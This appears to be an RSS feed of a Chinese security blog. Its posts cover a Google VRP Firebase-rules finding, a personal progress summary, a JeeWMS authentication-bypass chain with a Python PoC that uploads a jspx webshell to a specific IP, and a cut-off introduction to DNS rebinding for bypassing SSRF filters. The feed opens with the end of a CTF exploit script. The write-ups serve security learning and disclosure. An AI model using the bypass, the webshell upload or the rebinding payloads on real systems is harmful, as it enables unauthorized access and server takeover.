    csrf = extract_csrf(r.text)
    rr = s.post(
        base + &quot;/vouchers/redeem&quot;,
        data={&quot;_token&quot;: csrf, &quot;voucher&quot;: voucher},
        timeout=15,
    )
    print(f&quot;[+] redeem status: {rr.status_code}&quot;)

    # Read dropped file
    fr = s.get(base + &quot;/pwn.txt&quot;, timeout=15)
    print(f&quot;[+] /pwn.txt status: {fr.status_code}&quot;)
    print(fr.text.strip())

    flag = re.search(r&quot;gigem\{[^}]+\}&quot;, fr.text, flags=re.I)
    if flag:
        print(f&quot;[FLAG] {flag.group(0)}&quot;)
    else:
        print(&quot;[-] flag regex not found&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>记一次Google赏金VRP漏洞挖掘</title><link>https://ymsora.com/posts/ossvrp/</link><guid isPermaLink="true">https://ymsora.com/posts/ossvrp/</guid><description>简单随笔</description><pubDate>Sat, 21 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;记一次Google赏金VRP漏洞挖掘&lt;/h1&gt;
&lt;p&gt;资产是&lt;a href=&quot;https://github.com/google/ground-platform&quot;&gt;google/ground-platform: Ground hosted components: Web console, Cloud Functions, db config&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在其中的Firebase Storage Security Rules文件中找到了鉴权的接口&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;service firebase.storage {
  match /b/{bucket}/o {

    /**
     * Returns true iff the user is signed in.
     */
    function isSignedIn() {
      return request.auth != null;
    }

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并且下方对于media共享文件存在&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;match /user-media/{allPaths=**} { allow create, read, write: if isSignedIn(); }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上方发放auth是无限制的，也就是简单越权。&lt;/p&gt;
&lt;p&gt;有所有权检查（request.auth.uid == owner），没有调查成员检查，也没有路径绑定检查。&lt;/p&gt;
&lt;p&gt;也就是说，任何用户都可以访问此文件&lt;/p&gt;
&lt;p&gt;简单附一个POC&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* eslint-disable no-console */
const fs = require(&apos;fs&apos;);
const path = require(&apos;path&apos;);

const rulesPath =
  process.argv[2] ||
  &apos;D:\\CTF\\work\\ground-platform-master\\storage\\storage.rules&apos;;
const outPath =
  process.argv[3] || &apos;C:\\Users\\zwz-o\\audit_tmp\\gp_poc\\offline_poc_result.json&apos;;

function mustMatch(input, regex, name) {
  if (!regex.test(input)) {
    throw new Error(`rules check failed: ${name}`);
  }
}

function canAccess(requestAuth) {
  // Mirrors: function isSignedIn() { return request.auth != null; }
  return requestAuth !== null;
}

function main() {
  const rules = fs.readFileSync(rulesPath, &apos;utf8&apos;);

  // Prove exact vulnerable rule exists in target file.
  mustMatch(
    rules,
    /function\s+isSignedIn\s*\(\)\s*{[\s\S]*?request\.auth\s*!=\s*null[\s\S]*?}/m,
    &apos;isSignedIn uses request.auth != null&apos;
  );
  mustMatch(
    rules,
    /match\s*\/user-media\/\{allPaths=\*\*\}\s*{[\s\S]*?allow\s+create,\s*read,\s*write\s*:\s*if\s*isSignedIn\(\)\s*;[\s\S]*?}/m,
    &apos;user-media allows create/read/write for all signed-in users&apos;
  );

  const unauth = null;
  const alice = { uid: &apos;alice_uid&apos;, email: &apos;alice@example.com&apos; };
  const bob = { uid: &apos;bob_uid&apos;, email: &apos;bob@example.com&apos; };

  const targetPath = &apos;user-media/survey-001/alice_private_note.jpg&apos;;

  const result = {
    rulesPath,
    targetPath,
    checks: {
      unauth_create_allowed: canAccess(unauth),
      alice_create_allowed: canAccess(alice),
      bob_read_allowed: canAccess(bob),
      bob_write_allowed: canAccess(bob),
    },
    exploit_chain: [
      &apos;alice uploads file to user-media/**&apos;,
      &apos;bob reads alice file from same path (allowed)&apos;,
      &apos;bob overwrites/deletes alice file (allowed)&apos;,
    ],
  };

  result.vulnerable =
    result.checks.unauth_create_allowed === false &amp;amp;&amp;amp;
    result.checks.alice_create_allowed === true &amp;amp;&amp;amp;
    result.checks.bob_read_allowed === true &amp;amp;&amp;amp;
    result.checks.bob_write_allowed === true;

  fs.mkdirSync(path.dirname(outPath), { recursive: true });
  fs.writeFileSync(outPath, JSON.stringify(result, null, 2), &apos;utf8&apos;);
  console.log(JSON.stringify(result, null, 2));

  if (!result.vulnerable) {
    process.exit(2);
  }
}

main();

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然，这符合披露规则，评级达到了S2/P2。也是简单记录一下&lt;/p&gt;
</content:encoded></item><item><title>YMsora的阶段总结(26.03)</title><link>https://ymsora.com/posts/%E9%98%B6%E6%AE%B5%E6%80%BB%E7%BB%93/</link><guid isPermaLink="true">https://ymsora.com/posts/%E9%98%B6%E6%AE%B5%E6%80%BB%E7%BB%93/</guid><description>26年三月21日凌晨2点写完的阶段总结</description><pubDate>Sat, 21 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;YMsora的阶段总结(26.03)&lt;/h1&gt;
&lt;p&gt;萦梦sora~X，也就是YMsora的阶段总结&lt;/p&gt;
&lt;h2&gt;自我&lt;/h2&gt;
&lt;p&gt;其实距离上次写年度总结，也才过了3个多月而已&lt;/p&gt;
&lt;p&gt;说起总结，其实一直是很想回顾我自己的进步吧，以及自我的一些变化&lt;/p&gt;
&lt;p&gt;最近推的视觉小说和游戏明显变少了(其实是一直很少)，有时候真的很忙&lt;/p&gt;
&lt;p&gt;在AI飞速发展的大环境下，我依然认为没有什么是可以阻碍长期主义的。&lt;/p&gt;
&lt;p&gt;并且在这个时代下的焦虑扩散很严重，但是这我觉得并无什么，&lt;/p&gt;
&lt;p&gt;很多时候，这样的焦虑并没有落实在实处，也不会影响现在的我&lt;/p&gt;
&lt;p&gt;而且，从始至终我认为结果都是不存在的，我也是一直在去往结果的路上，&lt;/p&gt;
&lt;p&gt;我一直没想要什么结果，我只是在践行结果的过程，尊崇我信奉的，仅此而已&lt;/p&gt;
&lt;p&gt;昨晚喝了咖啡，形形色色想了很多&lt;/p&gt;
&lt;p&gt;我的美学依旧很崩坏，解构式的美学观念，也伴有理想化和超现实的自我象征。&lt;/p&gt;
&lt;p&gt;很多时候都在思考，是否需要很多输入才能够维持我继续，现在依旧未曾得出答案&lt;/p&gt;
&lt;p&gt;但是已经足够自洽了，我依旧深爱我会接触的事物&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/tai.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;internet&lt;/h2&gt;
&lt;p&gt;过了没几个月，和V&amp;amp;N的师傅，以及自己也打了很多场赛事，&lt;/p&gt;
&lt;p&gt;比赛，复盘，学习，也是一种很好的节奏&lt;/p&gt;
&lt;p&gt;并且也去学了AI的prompt，RAG.以及各个语言的进阶&lt;/p&gt;
&lt;p&gt;并且在实战上还是有成效的，在Matomo上打到了hacker名人堂的2026前十&lt;/p&gt;
&lt;p&gt;也参加了Google的VRP计划，也会有意识的学着开发各种项目&lt;/p&gt;
&lt;p&gt;博客，文章也在不断输出，3个月写了好几万字的文章&lt;/p&gt;
&lt;p&gt;也开了自己的公众号，名字是YMs0ra的安全漫路&lt;/p&gt;
&lt;p&gt;认识了很多师傅，依旧感觉自己有学不完的东西，&lt;/p&gt;
&lt;p&gt;并且在黑盒渗透测试这一方面，对于业务逻辑的推理还是不足，&lt;/p&gt;
&lt;p&gt;对于我来说没有很多要注意的，只是想，明白自己为什么这么干就好&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/matomo.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;后记&lt;/h2&gt;
&lt;p&gt;还是想，一直，一直走下去&lt;/p&gt;
&lt;p&gt;想读完尼采的Beyond Good and Evil，但是一直没时间&lt;/p&gt;
&lt;p&gt;还有田中罗密欧的 最果のいま，&lt;/p&gt;
&lt;p&gt;海馆的平行宇宙，第七境&lt;/p&gt;
&lt;p&gt;还是觉得有时候放个假推一推会很好&lt;/p&gt;
&lt;p&gt;空之轨迹1st也没推多少，太荒废啦~~~~&lt;/p&gt;
&lt;p&gt;就到这了，&lt;/p&gt;
&lt;p&gt;记住每天保持微笑，Tomorrow everything, will be fine.&lt;/p&gt;
&lt;p&gt;I&apos;m YMsora, またね&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/xiang.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>JAVA的MVC项目未授权上传绕过链</title><link>https://ymsora.com/posts/java1/</link><guid isPermaLink="true">https://ymsora.com/posts/java1/</guid><description>JAVA随心记</description><pubDate>Wed, 18 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;JAVA的MVC项目未授权上传绕过链&lt;/h1&gt;
&lt;p&gt;碰到spring老项目了&lt;/p&gt;
&lt;p&gt;开始看看总调度器web.xml&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;servlet&amp;gt;
        &amp;lt;description&amp;gt;spring mvc servlet&amp;lt;/description&amp;gt;
        &amp;lt;servlet-name&amp;gt;springMvc&amp;lt;/servlet-name&amp;gt;
        &amp;lt;servlet-class&amp;gt;org.springframework.web.servlet.DispatcherServlet&amp;lt;/servlet-class&amp;gt;
        &amp;lt;init-param&amp;gt;
            &amp;lt;description&amp;gt;spring mvc 配置文件&amp;lt;/description&amp;gt;
            &amp;lt;param-name&amp;gt;contextConfigLocation&amp;lt;/param-name&amp;gt;
            &amp;lt;param-value&amp;gt;classpath*:spring-mvc.xml&amp;lt;/param-value&amp;gt;
        &amp;lt;/init-param&amp;gt;
        &amp;lt;load-on-startup&amp;gt;1&amp;lt;/load-on-startup&amp;gt;
    &amp;lt;/servlet&amp;gt;
    &amp;lt;servlet-mapping&amp;gt;
        &amp;lt;servlet-name&amp;gt;springMvc&amp;lt;/servlet-name&amp;gt;
        &amp;lt;url-pattern&amp;gt;*.do&amp;lt;/url-pattern&amp;gt;
    &amp;lt;/servlet-mapping&amp;gt;
    &amp;lt;servlet-mapping&amp;gt;
        &amp;lt;servlet-name&amp;gt;springMvc&amp;lt;/servlet-name&amp;gt;
        &amp;lt;url-pattern&amp;gt;*.action&amp;lt;/url-pattern&amp;gt;
    &amp;lt;/servlet-mapping&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;定义了总调度器spring-mvc.xml，进一步查看，&lt;/p&gt;
&lt;p&gt;并且只要有.do结尾全部丢入springMvc进行请求。&lt;/p&gt;
&lt;p&gt;然后看spring-mvc的配置项&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;mvc:interceptor&amp;gt;
            &amp;lt;mvc:mapping path=&quot;/**&quot; /&amp;gt;
            &amp;lt;bean class=&quot;org.jeecgframework.core.interceptors.AuthInterceptor&quot;&amp;gt;
                &amp;lt;property name=&quot;excludeUrls&quot;&amp;gt;
                    &amp;lt;list&amp;gt;
                        &amp;lt;value&amp;gt;loginController.do?goPwdInit&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;loginController.do?pwdInit&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;loginController.do?login&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;loginController.do?logout&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;loginController.do?changeDefaultOrg&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;loginController.do?login2&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;loginController.do?login3&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;loginController.do?checkuser&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;loginController.do?checkuser=&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;repairController.do?repair&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;systemController.do?saveFiles&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;repairController.do?deleteAndRepair&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;userController.do?userOrgSelect&amp;lt;/value&amp;gt;
                        &amp;lt;!--移动图表--&amp;gt;
                        &amp;lt;value&amp;gt;cgDynamGraphController.do?design&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;cgDynamGraphController.do?datagrid&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;cgDynamGraphController.do?datagrid&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;rest/wvGiNoticeController/search&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;rest/tokens/login&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;rest/wmToDownGoodsController&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;rest/wmToUpGoodsController&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;rest/wmInQmIController&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;rest/wvNoticeController&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;rest/wvGiController&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;rest/mdGoodsController&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;rest/wvStockController&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;rest/wmSttInGoodsController&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;rest/wmToMoveGoodsController&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;rest/wmBaseController/showOrDownqrcodeByurl&amp;lt;/value&amp;gt;
                        &amp;lt;!-- 菜单样式图标预览 --&amp;gt;
                        &amp;lt;value&amp;gt;webpage/common/functionIconStyleList.jsp&amp;lt;/value&amp;gt;

                    &amp;lt;/list&amp;gt;
                &amp;lt;/property&amp;gt;
                &amp;lt;property name=&quot;excludeContainUrls&quot;&amp;gt;
                    &amp;lt;list&amp;gt;
                        &amp;lt;value&amp;gt;systemController/showOrDownByurl.do&amp;lt;/value&amp;gt;
                        &amp;lt;value&amp;gt;wmsApiController.do&amp;lt;/value&amp;gt;
                    &amp;lt;/list&amp;gt;
                &amp;lt;/property&amp;gt;
            &amp;lt;/bean&amp;gt;
        &amp;lt;/mvc:interceptor&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里给类org.jeecgframework.core.interceptors.AuthInterceptor添加了属性&lt;/p&gt;
&lt;p&gt;excludeUrls以及excludeContainUrls。以及这里也配了很多list&lt;/p&gt;
&lt;p&gt;因为看到鉴权的AuthInterceptor。&lt;/p&gt;
&lt;p&gt;就可以有意识打打接口，直接跟进&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object object) throws Exception {
      String requestPath = ResourceUtil.getRequestPath(request);
      if (requestPath.matches(&quot;^rest/[a-zA-Z0-9_/]+$&quot;)) {
         return true;
      } else if (this.excludeUrls.contains(requestPath)) {
         return true;
      } else if (this.moHuContain(this.excludeContainUrls, requestPath)) {
         return true;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;核心在于AuthInterceptor的子类prehandler中，这里的精确匹配属性值在xml配给&lt;/p&gt;
&lt;p&gt;原意是xml所声明的文件可访问，但是只要带上符合的value就可以访问，是包含的关系&lt;/p&gt;
&lt;p&gt;现在生出两个想法，在我知道这个项目存在uploadfile前提的情况下，可以利用的点&lt;/p&gt;
&lt;p&gt;就是上传webshell绕过检测，但是具体走哪一条绕过检查&lt;/p&gt;
&lt;p&gt;得进一步看函数对传进的路径处理，跟进getRequestPath&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static String getRequestPath(HttpServletRequest request) {
      String queryString = request.getQueryString();
      String requestPath = request.getRequestURI();
      if (StringUtils.isNotEmpty(queryString)) {
         requestPath = requestPath + &quot;?&quot; + queryString;
      }

      if (requestPath.indexOf(&quot;&amp;amp;&quot;) &amp;gt; -1) {
         requestPath = requestPath.substring(0, requestPath.indexOf(&quot;&amp;amp;&quot;));
      }

      requestPath = requestPath.substring(request.getContextPath().length() + 1);
      return requestPath;
   }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总结来说，以?截断和以&amp;amp;截断，如果存在&amp;amp;直接按照&amp;amp;截断，那样我们就可以直接打upload的未授权&lt;/p&gt;
&lt;p&gt;也就是拼接处upload?wmsApiController.do&amp;amp;xxxx这样的路径，&lt;/p&gt;
&lt;p&gt;处理之后就是upload?wmsApiController.do，&lt;/p&gt;
&lt;p&gt;存在wmsApiController.do，直接放行到upload的接口，&lt;/p&gt;
&lt;p&gt;并且这里不存在进一步鉴权，那就直接看upload的接口&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Controller
@RequestMapping({&quot;/cgUploadController&quot;})
public class CgUploadController extends BaseController {
   private static final Logger logger = Logger.getLogger(CgUploadController.class);
   @Autowired
   private SystemService systemService;
   @Autowired
   private CgUploadServiceI cgUploadService;

   public CgUploadController() {
   }

   @RequestMapping(
      params = {&quot;saveFiles&quot;},
      method = {RequestMethod.POST}
   )
   @ResponseBody
   public AjaxJson saveFiles(HttpServletRequest request, HttpServletResponse response, CgUploadEntity cgUploadEntity) {
      AjaxJson j = new AjaxJson();
      Map&amp;lt;String, Object&amp;gt; attributes = new HashMap(1024);
      String fileKey = oConvertUtils.getString(request.getParameter(&quot;fileKey&quot;));
      String id = oConvertUtils.getString(request.getParameter(&quot;cgFormId&quot;));
      String tableName = oConvertUtils.getString(request.getParameter(&quot;cgFormName&quot;));
      String cgField = oConvertUtils.getString(request.getParameter(&quot;cgFormField&quot;));
      if (!StringUtil.isEmpty(id)) {
         cgUploadEntity.setCgformId(id);
         cgUploadEntity.setCgformName(tableName);
         cgUploadEntity.setCgformField(cgField);
      }

      if (StringUtil.isNotEmpty(fileKey)) {
         cgUploadEntity.setId(fileKey);
         cgUploadEntity = (CgUploadEntity)this.systemService.getEntity(CgUploadEntity.class, fileKey);
      }

      UploadFile uploadFile = new UploadFile(request, cgUploadEntity);
      uploadFile.setCusPath(&quot;files&quot;);
      uploadFile.setSwfpath(&quot;swfpath&quot;);
      uploadFile.setByteField((String)null);
      cgUploadEntity = (CgUploadEntity)this.systemService.uploadFile(uploadFile);
      this.cgUploadService.writeBack(id, tableName, cgField, fileKey, cgUploadEntity.getRealpath());
      attributes.put(&quot;fileKey&quot;, cgUploadEntity.getId());
      attributes.put(&quot;viewhref&quot;, &quot;commonController.do?objfileList&amp;amp;fileKey=&quot; + cgUploadEntity.getId());
      attributes.put(&quot;delurl&quot;, &quot;commonController.do?delObjFile&amp;amp;fileKey=&quot; + cgUploadEntity.getId());
      j.setMsg(&quot;操作成功&quot;);
      j.setAttributes(attributes);
      return j;
   }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初步一看，并没有任何鉴权和黑名单，也就是完全依赖于拦截器的校验&lt;/p&gt;
&lt;p&gt;获取表单的fileKey，cgFormId，cgFormName，cgFormField参数&lt;/p&gt;
&lt;p&gt;并且不写数据库uploadFile.setByteField((String)null);&lt;/p&gt;
&lt;p&gt;继续跟进函数uploadfile&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public Object uploadFile(UploadFile uploadFile) {
      Object object = uploadFile.getObject();
      if (uploadFile.getFileKey() != null) {
         this.updateEntitie(object);
      } else {
         try {
            uploadFile.getMultipartRequest().setCharacterEncoding(&quot;UTF-8&quot;);
            MultipartHttpServletRequest multipartRequest = uploadFile.getMultipartRequest();
            ReflectHelper reflectHelper = new ReflectHelper(uploadFile.getObject());
            String uploadbasepath = uploadFile.getBasePath();
            if (uploadbasepath == null) {
               uploadbasepath = ResourceUtil.getConfigByName(&quot;uploadpath&quot;);
            }

            Map&amp;lt;String, MultipartFile&amp;gt; fileMap = multipartRequest.getFileMap();
            String path = uploadbasepath + &quot;/&quot;;
            String realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath(&quot;/&quot;) + &quot;/&quot; + path;
            File file = new File(realPath);
            if (!file.exists()) {
               file.mkdirs();
            }

            if (uploadFile.getCusPath() != null) {
               realPath = realPath + uploadFile.getCusPath() + &quot;/&quot;;
               path = path + uploadFile.getCusPath() + &quot;/&quot;;
               file = new File(realPath);
               if (!file.exists()) {
                  file.mkdirs();
               }
            } else {
               realPath = realPath + DateUtils.getDataString(DateUtils.yyyyMMdd) + &quot;/&quot;;
               path = path + DateUtils.getDataString(DateUtils.yyyyMMdd) + &quot;/&quot;;
               file = new File(realPath);
               if (!file.exists()) {
                  file.mkdir();
               }
            }

            String entityName = uploadFile.getObject().getClass().getSimpleName();
            if (&quot;TSTemplate&quot;.equals(entityName)) {
               realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath(&quot;/&quot;) + ResourceUtil.getConfigByName(&quot;templatepath&quot;) + &quot;/&quot;;
               path = ResourceUtil.getConfigByName(&quot;templatepath&quot;) + &quot;/&quot;;
            } else if (&quot;TSIcon&quot;.equals(entityName)) {
               realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath(&quot;/&quot;) + uploadFile.getCusPath() + &quot;/&quot;;
               path = uploadFile.getCusPath() + &quot;/&quot;;
            }

            String fileName = &quot;&quot;;
            String swfName = &quot;&quot;;

            for(Map.Entry&amp;lt;String, MultipartFile&amp;gt; entity : fileMap.entrySet()) {
               MultipartFile mf = (MultipartFile)entity.getValue();
               fileName = mf.getOriginalFilename();
               swfName = PinyinUtil.getPinYinHeadChar(oConvertUtils.replaceBlank(FileUtils.getFilePrefix(fileName)));
               String extend = FileUtils.getExtend(fileName);
               String myfilename = &quot;&quot;;
               String noextfilename = &quot;&quot;;
               if (uploadFile.isRename()) {
                  noextfilename = DateUtils.getDataString(DateUtils.yyyymmddhhmmss) + StringUtil.random(8);
                  myfilename = noextfilename + &quot;.&quot; + extend;
               } else {
                  myfilename = fileName;
               }

               String savePath = realPath + myfilename;
               String fileprefixName = FileUtils.getFilePrefix(fileName);
               if (uploadFile.getTitleField() != null) {
                  reflectHelper.setMethodValue(uploadFile.getTitleField(), fileprefixName);
               }

               if (uploadFile.getExtend() != null) {
                  reflectHelper.setMethodValue(uploadFile.getExtend(), extend);
               }

               if (uploadFile.getByteField() != null) {
               }

               File savefile = new File(savePath);
               if (uploadFile.getRealPath() != null) {
                  reflectHelper.setMethodValue(uploadFile.getRealPath(), path + myfilename);
               }

               this.saveOrUpdate(object);
               if (&quot;txt&quot;.equals(extend)) {
                  byte[] allbytes = mf.getBytes();

                  try {
                     String head1 = this.toHexString(allbytes[0]);
                     String head2 = this.toHexString(allbytes[1]);
                     if (&quot;ef&quot;.equals(head1) &amp;amp;&amp;amp; &quot;bb&quot;.equals(head2)) {
                        String contents = new String(mf.getBytes(), &quot;UTF-8&quot;);
                        if (StringUtils.isNotBlank(contents)) {
                           OutputStream out = new FileOutputStream(savePath);
                           out.write(contents.getBytes());
                           out.close();
                        }
                     } else {
                        String contents = new String(mf.getBytes(), &quot;GBK&quot;);
                        OutputStream out = new FileOutputStream(savePath);
                        out.write(contents.getBytes());
                        out.close();
                     }
                  } catch (Exception var27) {
                     String contents = new String(mf.getBytes(), &quot;UTF-8&quot;);
                     if (StringUtils.isNotBlank(contents)) {
                        OutputStream out = new FileOutputStream(savePath);
                        out.write(contents.getBytes());
                        out.close();
                     }
                  }
               } else {
                  FileCopyUtils.copy(mf.getBytes(), savefile);
               }

               if (uploadFile.getSwfpath() != null) {
                  reflectHelper.setMethodValue(uploadFile.getSwfpath(), path + FileUtils.getFilePrefix(myfilename) + &quot;.swf&quot;);
                  SwfToolsUtil.convert2SWF(savePath);
               }
            }
         } catch (Exception var28) {
         }
      }

      return object;
   }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为在默认配置中&lt;/p&gt;
&lt;p&gt;basePath=&quot;upload&quot;;
rename=true;&lt;/p&gt;
&lt;p&gt;会保留拓展名可但是会重写文件名&lt;/p&gt;
&lt;p&gt;这里拿到磁盘真实路径&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String realPath = uploadFile.getMultipartRequest().getSession().getServletContext().getRealPath(&quot;/&quot;) + &quot;/&quot; + path;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为rename是为true的，所以走&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (uploadFile.isRename()) {
    noextfilename = DateUtils.getDataString(DateUtils.yyyymmddhhmmss) + StringUtil.random(8);
    myfilename = noextfilename + &quot;.&quot; + extend;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;虽然是8位随机字符串，但是我们未授权文件上传的时候是可以直接返回文件名的，少了文件名枚举的步骤了&lt;/p&gt;
&lt;p&gt;同时因为存在数据库写回&lt;/p&gt;
&lt;p&gt;writeBack(id, tableName, cgField, fileKey, realPath)&lt;/p&gt;
&lt;p&gt;上传的字段也就不能瞎弄了，但是白盒给了sql文件，得以让我们有正确的表名可以填入&lt;/p&gt;
&lt;p&gt;以下是POC&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests

url = &apos;http://101.245.81.83:10019/jeewms/cgUploadController.do?wmsApiController.do&amp;amp;saveFiles&apos;
data = {
    &apos;cgFormId&apos;: &apos;1&apos;,  # 可以使用一个存在的表单ID
    &apos;cgFormName&apos;: &apos;cgform_uploadfiles&apos;,  # 正确的表名
    &apos;cgFormField&apos;: &apos;CGFORM_FIELD&apos;  # 文件内容字段
}

with open(&apos;exp.jspx&apos;, &apos;rb&apos;) as f:
    files = {
        &apos;file&apos;: (&apos;exp.jspx&apos;, f, &apos;application/octet-stream&apos;)
    }
    # 同时传递data和files参数
    res = requests.post(url=url, data=data, files=files)
    print(res.text)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上传jspx就可以直接打webshell了&lt;/p&gt;
&lt;p&gt;推完链子的感触&lt;/p&gt;
&lt;p&gt;还是得先从路由看起，如果没看路由的白盒还是过于抽象了&lt;/p&gt;
&lt;p&gt;也许是自己审计能力的问题&lt;/p&gt;
&lt;p&gt;在xml配置项也是有很多点可以继续跟进的&lt;/p&gt;
&lt;p&gt;以上&lt;/p&gt;
</content:encoded></item><item><title>多样的DNS重绑定攻击的深入链</title><link>https://ymsora.com/posts/suctf2026/</link><guid isPermaLink="true">https://ymsora.com/posts/suctf2026/</guid><description>随心审计</description><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;多样的DNS重绑定攻击的深入链&lt;/h1&gt;
&lt;p&gt;当然是有前置知识的&lt;/p&gt;
&lt;p&gt;DNS(Domain Name Service)，这是将ip地址和域名相连接的&lt;/p&gt;
&lt;p&gt;互联网服务，这样大众也就可以在访问域名的时候直接对公网&lt;/p&gt;
&lt;p&gt;的ip主机进行访问，而不用记枯燥的ip&lt;/p&gt;
&lt;p&gt;这里引用一下dns的记录类型&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A记录&lt;/strong&gt;：将域名解析为IPv4地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AAAA记录&lt;/strong&gt;：将域名解析为IPv6地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CNAME记录&lt;/strong&gt;：用于将一个域名指向另一个域名。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MX记录&lt;/strong&gt;：指定处理域名电子邮件的邮件服务器。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NS记录&lt;/strong&gt;：指定负责解析域名的DNS服务器。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TXT记录&lt;/strong&gt;：用于存储与域名相关的任意文本信息。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SRV记录&lt;/strong&gt;：用于指定提供特定服务的服务器及其优先级和权重。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/fs.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当在浏览器对一个域名进行请求的时候，首先浏览器会查询自身缓存的dns，&lt;/p&gt;
&lt;p&gt;如果没有后会查询os端的host文件，如果还没有就继续向上查询根域名服务器，返回顶级域的地址&lt;/p&gt;
&lt;p&gt;当然这里可以注意到，如果本地没有dns缓存的话&lt;/p&gt;
&lt;p&gt;我们请求dns服务器的解析的返回结果是完全取决于服务端的，&lt;/p&gt;
&lt;p&gt;并且每个根域名服务器的架构不同，默认的TTL，也就是默认缓存时间也不一样&lt;/p&gt;
&lt;p&gt;这样我们就可以趁两次TTL的差值进行dns重绑定&lt;/p&gt;
&lt;p&gt;光说没用，可以模拟一下场景&lt;/p&gt;
&lt;p&gt;如果在实战中有一个ssrf点，但是ban了本地地址，无法直接输入127,0,0,1或者localhost等等&lt;/p&gt;
&lt;p&gt;那么可以利用dns劫持的二次回环&lt;/p&gt;
&lt;p&gt;http://make-1.1.1.1-rebind-127-0-0-1-rr.1u.ms:2375/xxxx&lt;/p&gt;
&lt;p&gt;这里的make代表动态解析域名，也就是自己指定如何解析&lt;/p&gt;
&lt;p&gt;第一次查询返回1.1.1.1，rebind也就是利用了dns解析两次不一致，后续切换解析为&lt;/p&gt;
&lt;p&gt;127-0-0-1，rr也就是轮询。最后也就是dns服务器的地址&lt;/p&gt;
&lt;p&gt;当然这种解析规则是根据服务商不一样而变化的&lt;/p&gt;
&lt;p&gt;比如7f000001.01010101.rbndr.us&lt;/p&gt;
&lt;p&gt;这里的7f000001就是127.0.0.1，01010101就是1.1.1.1&lt;/p&gt;
&lt;p&gt;但是本质是一样的，这都可以绕过单点ssrf对于其中回环模式的block&lt;/p&gt;
&lt;p&gt;当然，这里还是有后续思路的，&lt;/p&gt;
